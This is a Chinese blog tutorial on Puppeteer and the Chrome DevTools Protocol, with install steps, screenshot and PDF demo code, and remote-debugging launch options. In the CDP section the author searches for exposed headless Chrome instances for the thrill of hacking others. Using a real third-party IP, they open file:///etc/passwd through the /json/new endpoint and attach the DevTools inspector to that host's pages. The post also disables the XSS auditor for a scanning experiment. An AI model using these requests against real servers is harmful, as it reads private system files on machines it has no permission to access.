【一】什么是puppeteer?

          Puppeteer(中文翻译”木偶”) 是 Google Chrome 团队官方的无界面(Headless)Chrome 工具,它是一个 Node 库,提供了一个高级的 API 来控制 DevTools协议上的无头版 Chrome 。也可以使用完整正常的 Chrome浏览器。

【二】一些基本操作

  • 安装

    安装可以用下面的命令:

yarn add puppeteer
或者
npm i puppeteer
  • 基本环境

        Nodejs 的版本不能低于 v7.6.0, 需要支持 async, await.

        需要最新的 chrome driver, 这个你在通过 npm 安装 Puppeteer 的时候系统会自动下载的


  • Demo代码

const puppeteer = require('puppeteer');
(async () => {
  const browser = await (puppeteer.launch({
    executablePath: '/usr/local/lib/node_modules/puppeteer/.local-chromium/mac-536395/chrome-mac/Chromium.app/Contents/MacOS/Chromium',
    //设置超时时间
    timeout: 15000,
    //如果是访问https页面 此属性会忽略https错误
    ignoreHTTPSErrors: true,
    // 打开开发者工具, 当此值为true时, headless总为false
    devtools: false,
    // 关闭headless模式, 会打开浏览器
    headless: false
  }));
  const page = await browser.newPage();
  await page.goto('http://www.coffeehb.cn');
  await page.screenshot({
    path: 'poc.png',
    type: 'png',
    fullPage: true,
  });
  browser.close();
})();

      执行demo文件命令:

 node  poc.js
  • 效果

    demo的代码效果是加载安装puppeteer时下载的chrom-mac文件,新建页面加载博客地址,通过快照截图保存为poc.png文件。

    puppeteer.launch 可以设置加载Chrome启动时的一些参数,可配置的参数可查看这个文档puppeteerlaunchoptions

    

    更多的关于这个工具的用法可以查看官方的API文档

  •     导出PDF

          需要注意的是,导出PDF的功能只能在headless模式下工作,即:headless: true 关键代码:

await page.goto('http://killbit.me/');
await page.screenshot({path: 'bit.png'});
await page.pdf({path: 'bit.pdf', format: 'A4'});
await browser.close();

          上面的操作是导出PDF和快照留图。

          实测导出的图片看着还很OK,有时候导出的PDF就看不下去了,黑白的,文字还错乱了比如上面的代码。

【三】Chrome Devtools Protocol

           Chrome远程调试协议(我们简称: CDP),Chrome开发者工具前端开发者和白帽子应该都用得比较多。Chrome Devtools Protocol 是Chrome浏览器提供的用来支持远程对Chrome浏览器进行调试用的协议。本文学习的puppeteer就是用nodejs编写的,支持CDP协议调用的前端自动化测试框架。

            为了便于我们了解,顺便理解学习CDP,准备了如下代码:

const puppeteer = require("puppeteer");

(async () => {
  const browser = await puppeteer.launch({
   executablePath: '/usr/local/lib/node_modules/puppeteer/.local-chromium/mac-536395/chrome-mac/Chromium.app/Contents/MacOS/Chromium',
    headless: true,
    devtools: false,
    args:['--remote-debugging-address=0.0.0.0','--remote-debugging-port=10516'],
  });
  const wsendpoint = await browser.wsEndpoint();
  console.log(wsendpoint);
})();

        上面的代码,实现了启用一个Chrome 以headless模式,并在本地0.0.0.0监听了10516端口,支持CDP协议的远程调试。

        截图如下:    b1.png

        打开浏览器访问一下地址:http://127.0.0.1:10516/ 看看是什么呢?

image.png

        看着这个可能第一反应不知道怎么玩,快速学习一下下面的几个API。

 

            http://127.0.0.1:10516/json :查看已经打开的Tab列表

            http://127.0.0.1:10516/json/version : 查看浏览器版本信息

            http://127.0.0.1:10516/json/new?http://www.baidu.com : 新开Tab打开指定地址

            http://127.0.0.1:10516/json/close/92615aad-5862-48d5-983d-248468e9741a : 关闭指定Id的Tab页面

            http://127.0.0.1:10516/json/activate/92615aad-5862-48d5-983d-248468e9741a : 切换到指定Id的Tab页面

        学过这几个API,你就知道该怎么玩了...于是乎测试一波吧,通过傻蛋搜索一波关键字:Headless remote debugging, 找一个玩玩如下。(别问我为什么想着去搜一波别人的,不玩127.0.0.1因为总有一种hack别人的刺激感吧!)

         找到一个地址:http://45.55.134.189:8081/

image.png

         利用上面的API,一顿猛如虎的操作如下。

                1. 打开一个tab,利用file打开文件passed


                    http://45.55.134.189:8081/json/new?file:///etc/passwd

                2. 查看当前的Tab列表

                    http://45.55.134.189:8081/json

16461523002708_.pic_hd.jpg            3. 找到devtoolsFrontendUrl地址,然后访问一波(修改localhost为IP)   

                http://45.55.134.189:8081/devtools/inspector.html?ws=45.55.134.189:9222/devtools/page/(3ACA0D386B9653306433056EFD96065C)

image.png

            关于Chrome 的Headless搜索一下有很多是用来做爬虫的文章,Headless 又和CDP协议分不开,在之前我看过有大佬用CHrome Headless做前端XSS扫描的文章。地址:初见 Chrome Headless 第二弹 

            这个也学习实验了一把,将上面的代码做做修改,因为Chrome默认有XSS的过滤,于是修改启用加载参数。

args:['--disable-xss-auditor','--remote-debugging-address=0.0.0.0','--remote-debugging-port=10516'],

            为了直观效果,我们可以不用headless模式,我们就来看看浏览器的和利用CDP协议 hook到弹窗的效果,

            代码做了小小改动如下:image.png

        启动服务代码如下:

const puppeteer = require("puppeteer");

(async () => {
  const browser = await puppeteer.launch({
   executablePath: '/usr/local/lib/node_modules/puppeteer/.local-chromium/mac-536395/chrome-mac/Chromium.app/Contents/MacOS/Chromium',
    headless: false,
    devtools: false,
    args:['--disable-xss-auditor','--remote-debugging-address=0.0.0.0','--remote-debugging-port=10516'],
  });
  const wsendpoint = await browser.wsEndpoint();
  console.log(wsendpoint);
})();

        先运行Server启动一个浏览器监听10516端口做远程调试,然后执行py脚本,效果如下:

image.png




【六】Referer


  1. https://jeffjade.com/2017/12/17/134-kinds-of-toss-using-puppeteer/

  2. https://segmentfault.com/a/1190000011627343

  3. http://www.r9it.com/20171106/puppeteer.html

  4. http://www.siyuweb.com/javascript/3052.html